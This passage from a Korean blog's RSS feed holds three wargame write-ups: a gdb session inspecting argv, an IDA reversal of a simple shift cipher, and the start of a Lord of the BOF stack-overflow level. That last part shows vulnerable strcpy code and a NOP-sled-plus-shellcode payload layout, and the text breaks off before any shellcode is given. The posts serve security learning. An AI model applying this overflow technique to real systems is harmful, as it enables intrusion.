Breakpoint 3 at 0x80483de&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
/*&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
Argv[0] 을 printf 하는 부분에 브레이크포인터를 걸었습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
아까 보셨듯이 Argv[0] 에는 프로그램의 이름이 들어갑니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
(gdb) r a a a a&lt;/div&gt;
&lt;div&gt;
The program being debugged has been started already.&lt;/div&gt;
&lt;div&gt;
Start it from the beginning? (y or n) y&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
Starting program: /home/gate/xodnr/tmp/t1 a a a a&lt;/div&gt;
&lt;div&gt;
/bin/bash: /home/orc/.bashrc: Permission denied&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
Breakpoint 3, 0x80483de in main ()&lt;/div&gt;
&lt;div&gt;
(gdb) x/s $edx&lt;/div&gt;
&lt;div&gt;
0xbffffc88: &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;/home/gate/xodnr/tmp/t1&quot; // Argv[0] 참조&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
그러면 설명을 생략하고 Argv[1] , Argv[2], Argv[3] 에 모두 브포를 걸고 보여드리겠습니다&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
(gdb) b *main+36&lt;/div&gt;
&lt;div&gt;
Breakpoint 9 at 0x80483f4&lt;/div&gt;
&lt;div&gt;
(gdb) r 1 2 3 4&lt;/div&gt;
&lt;div&gt;
The program being debugged has been started already.&lt;/div&gt;
&lt;div&gt;
Start it from the beginning? (y or n) y&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
Starting program: /home/gate/xodnr/tmp/t1 1 2 3 4&lt;/div&gt;
&lt;div&gt;
/bin/bash: /home/orc/.bashrc: Permission denied&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
Breakpoint 9, 0x80483f4 in main ()&lt;/div&gt;
&lt;div&gt;
(gdb) x/s $edx&lt;/div&gt;
&lt;div&gt;
0xbffffca0: &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;1&quot; // Argv[1] 참조&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
(gdb) b *main+58&lt;/div&gt;
&lt;div&gt;
Breakpoint 10 at 0x804840a&lt;/div&gt;
&lt;div&gt;
(gdb) r 1 2 3 4&lt;/div&gt;
&lt;div&gt;
The program being debugged has been started already.&lt;/div&gt;
&lt;div&gt;
Start it from the beginning? (y or n) y&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
Starting program: /home/gate/xodnr/tmp/t1 1 2 3 4&lt;/div&gt;
&lt;div&gt;
/bin/bash: /home/orc/.bashrc: Permission denied&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
Breakpoint 10, 0x804840a in main ()&lt;/div&gt;
&lt;div&gt;
(gdb) x/s $edx&lt;/div&gt;
&lt;div&gt;
0xbffffca2: &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;2&quot; // Argv[2] 참조&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
(gdb) b *main+80&lt;/div&gt;
&lt;div&gt;
Breakpoint 11 at 0x8048420&lt;/div&gt;
&lt;div&gt;
(gdb) r 1 2 3 4&lt;/div&gt;
&lt;div&gt;
The program being debugged has been started already.&lt;/div&gt;
&lt;div&gt;
Start it from the beginning? (y or n) y&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
Starting program: /home/gate/xodnr/tmp/t1 1 2 3 4&lt;/div&gt;
&lt;div&gt;
/bin/bash: /home/orc/.bashrc: Permission denied&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
Breakpoint 11, 0x8048420 in main ()&lt;/div&gt;
&lt;div&gt;
(gdb) x/s $edx&lt;/div&gt;
&lt;div&gt;
0xbffffca4: &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;3&quot; // Argv[3] 참조&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
이렇게 GDB 를 이용한 바이너리 분석 문제 1을 끝마치겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-549-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-549-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-549-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19622455&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/549</guid>
			<comments>http://iyounges.org/549#entry549comment</comments>
			<pubDate>Wed, 17 Aug 2011 13:16:09 +0900</pubDate>
		</item>
		<item>
			<title>[IDA-Analysis] Binary Wargames Level1</title>
			<link>http://iyounges.org/548</link>
			<description>&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
안녕하세요, 이 게시판에서는 ELF 파일, 즉 바이너리 파일을 받아 C 언어로 소스화&lt;/div&gt;
&lt;div&gt;
하면서 모르는것은 알아가면서 필요한 키 값을 찾아가는 문제를 풀어가는 게시판입니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
파일은 제공되지 않으며 만약 이렇게 분석을 하실 생각이라면 아이다 프로가 필요합니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
이번 문제풀이의 목표는 본 파일에서 암호화를 하는데 똑같은 방법으로 &quot;Deep into the system&quot; 을 암호화해야 합니다.&lt;/div&gt;
&lt;div&gt;
단, UTC 2012년 12월12일 12시12분 12초 &amp;nbsp;(24시간기준) 에 프로그램을 실행 했을 때의 암호화된 값을 적어야 한다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
무슨말이냐면 유닉스 시스템 용어로 타임스탬프라고 1970년 1월 1일 00:00:00를 기준으로 경과한 초를 의미하는데&lt;/div&gt;
&lt;div&gt;
이 점을 이용해 UTC 2012년 12월 12일 12시 12분 12초 에의 타임스탬프 값을 구해 대입하면 기준이 될 수 있다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
아이다 프로로 열은 바이너리 파일을 바로 C 언어로 소스화 시킬것이며 완벽하지 않을 수도 있으니 이해바랍니다 ^^&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
일단 프로그램을 실행하면&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
Normal : Sur3x5F The Valueable System Hacking Crew God damn it :)&lt;/div&gt;
&lt;div&gt;
Encrypted : Xzw8}:K%Ymj%[fqzjfgqj%X~xyjr%Mfhpnsl%Hwj|%Lti%ifrs%ny%?.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
다음과 같은 문자열이 뜹니다. 저 평문을 Deep into the system 으로 하여&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
2012년 12월 12일 12시 12분 12초를 기준으로 암호화를 진행하여 나오는 암호문이 정답입니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
다음과 같은 함수들이 목록에 있습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
sub_8048450 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.text &amp;nbsp;08048450 00000057 R . . . B . .&lt;/div&gt;
&lt;div&gt;
sub_80484B0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.text &amp;nbsp;080484B0 00000023 R . . . B . .&lt;/div&gt;
&lt;div&gt;
sub_80484D4 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.text &amp;nbsp;080484D4 0000010E R . . . B . .&lt;/div&gt;
&lt;div&gt;
sub_80485E2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.text &amp;nbsp;080485E2 0000001D R . . . B . .&lt;/div&gt;
&lt;div&gt;
sub_8048600 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.text &amp;nbsp;08048600 00000005 R . . . B . .&lt;/div&gt;
&lt;div&gt;
sub_8048610 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.text &amp;nbsp;08048610 0000005A R . . . B . .&lt;/div&gt;
&lt;div&gt;
sub_804866A &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.text &amp;nbsp;0804866A 00000004 R . . . . . .&lt;/div&gt;
&lt;div&gt;
sub_8048670 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.text &amp;nbsp;08048670 0000002A R . . . B . .&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
중요해보이거나 직접적으로 포함되어있는 함수만 소스화를 하겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
int main()&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; unsigned int seed;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; char cipher;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; int ps;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; int sum;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; ps = 0;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; seed = time(0); //&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; srand(seed);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; sum = rand() % 5;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; malloc(30); // 30바이트 임시 공간 생성&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; write(1, &quot;Normal : &quot;, 9);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; puts(&quot;Sur3x5F The Valueable System Hacking Crew God damn it :)&quot;);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; write(1, &quot;Encrypted : &quot;, 12);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; while ( aSur3x5fTheValu[v3] )&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; {&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; cipher = Encrypted(aSur3x5fTheValu[ps], sum);&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; // cipher 함수를 호출하며 인자로 평문[0] 과 암호기준, 시드값을 전달합니다.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; putchar(cipher);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; ++v3;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; }&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; return puts(&amp;amp;s); // printf(&quot;\n&quot;); 과 같은 역할을 한다.&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
int cipher(unsigned a1, int a2)&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; return a2 + a1 + 2;&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
일단 준비물은 모두 준비하였습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
문자열 = Deep into the system&lt;/div&gt;
&lt;div&gt;
타임스탬프 값 = 1355314332&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
정식 소스로 짜내겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
#include&amp;lt;stdlib.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
int encrypted(unsigned a1, int a2);&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
int main()&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; unsigned int seed;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; char cipher;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; int ps;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; int sum;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; ps = 0;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; seed = 1355314332;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; srand(seed);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; sum = rand() % 5;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; // srand 값으로 하면 계속 실행했을때마다 계속 랜덤되는 값이 나오는게 맞는말이지만&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; // srand(time(0)) 의 경우이고, srand(고정값) 으로 랜덤을 돌렸을때는 rand() 를 하였을때도 계속 고정된값이 나온다.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; malloc(30); // 임시 메모리 공간 30바이트 생성&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; write(1, &quot;Normal : &quot;, 9);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; puts(&quot;Deep into the system Encrypted :)&quot;);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; write(1, &quot;Encrypted : &quot;, 12);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; while(&quot;Deep into the system&quot;[ps])&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; {&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; cipher = encrypted(&quot;Deep into the system&quot;[ps], sum); // cipher 함수를 호출하며 인자로 평문[0] 과 암호기준, 시드값을 전달합니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; putchar(cipher);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; ++ps;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; }&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; printf(&quot;\n&quot;);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; return 0;&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
int encrypted(unsigned a1, int a2)&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; return a2 + a1 + 2;&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[gate@localhost xodnr]$ ./seeme&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
Normal : Deep into the system :)&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
Encrypted : Ghhs#lqwr#wkh#v|vwhp&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
정상적으로 정답이 출력되었습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-548-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-548-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-548-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19618325&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/548</guid>
			<comments>http://iyounges.org/548#entry548comment</comments>
			<pubDate>Wed, 17 Aug 2011 11:29:17 +0900</pubDate>
		</item>
		<item>
			<title>[BOF-Wargames] LOB Load of BOF LEVEL4 (goblin -&gt; orc) 문제풀이</title>
			<link>http://iyounges.org/547</link>
			<description>&lt;div&gt;
&lt;br /&gt;
Goblin -&amp;gt; Orc LOB 문제풀이를 시작하도록 하겠습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[goblin@localhost goblin]$ ls&lt;/div&gt;
&lt;div&gt;
orc &amp;nbsp;orc.c&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[goblin@localhost goblin]$ ./orc&lt;/div&gt;
&lt;div&gt;
argv error&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[goblin@localhost goblin]$ ./orc aa aa aa&lt;/div&gt;
&lt;div&gt;
stack is still your friend.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[goblin@localhost goblin]$ cat ./orc.c&lt;/div&gt;
&lt;div&gt;
/*&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; The Lord of the BOF : The Fellowship of the BOF&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - orc&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - egghunter&lt;/div&gt;
&lt;div&gt;
*/&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
extern char **environ;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char buffer[40]; // Buffer 40바이트 선언&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int i;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argc &amp;lt; 2){&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argv error\n&quot;); // 역시나 전 레벨과 똑같다.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // egghunter&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i=0; environ[i]; i++)&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(environ[i], 0, strlen(environ[i])); // 환경변수 초기화 - 에그쉘 사용 금지&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argv[1][47] != &#039;\xbf&#039;)&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;stack is still your friend.\n&quot;); // RTL 사용금지&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strcpy(buffer, argv[1]); // argv[1] 을 buffer 에 복사한다.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer); // 복사된 buffer 을 출력한다.&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
소스는 매우 길어졌지만 별거 없습니다. 일단 전 레벨과 같이 인자를 3개 이상 넣어줘야만 하며&lt;/div&gt;
&lt;div&gt;
이번 문제에서는 환경변수를 이용하여 문제를 풀 수 없으며 또 &quot;\bf&quot; 를 다수로 넘겨줘야만 된다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[goblin@localhost goblin]$ gcc -v&lt;/div&gt;
&lt;div&gt;
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs&lt;/div&gt;
&lt;div&gt;
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
역시나 더미는 붙지 않는다.&lt;/div&gt;
&lt;div&gt;
그렇다면 공격 버퍼는 40바이트가 된다. 한번 메모리 구조를 그려보자&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
LOW | i (4Byte) | Buffer (40Byte) | SFP (4Byte) | RET (4Byte) | HIGH&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
우리에게 필요한건 Buffer 이후의 부분이다.&lt;/div&gt;
&lt;div&gt;
공격방법은 argv[2] 에 NOP 와 쉘코드를 넣어주고 argv[1] 의 RET 주소에 argv[2] 의 주소를 넣어주는것이다.&lt;/div&gt;
&lt;div&gt;
페이로드를 구성해보자&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&quot;\xbf&quot; * 44 + RET | NOP * 30000 + SHELLCODE&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
이렇게 공격해줄것이다. 앞에서 bf 를 44개 넣어주는것은 앞에서 말했던 내용이다.&lt;/div&gt;
&lt;div&gt;
먼저 argv[2] 의 주소를 알아내는 코딩을 하고 공격을 시도해보겠다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[goblin@localhost xodnr]$ cat orc.c&lt;/div&gt;
&lt;div&gt;
/*&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; The Lord of the BOF : The Fellowship of the BOF&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - orc&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - egghunter&lt;/div&gt;
&lt;div&gt;
*/&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
extern char **environ;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char buffer[40];&lt;/div&gt;
&lt;div&gt;
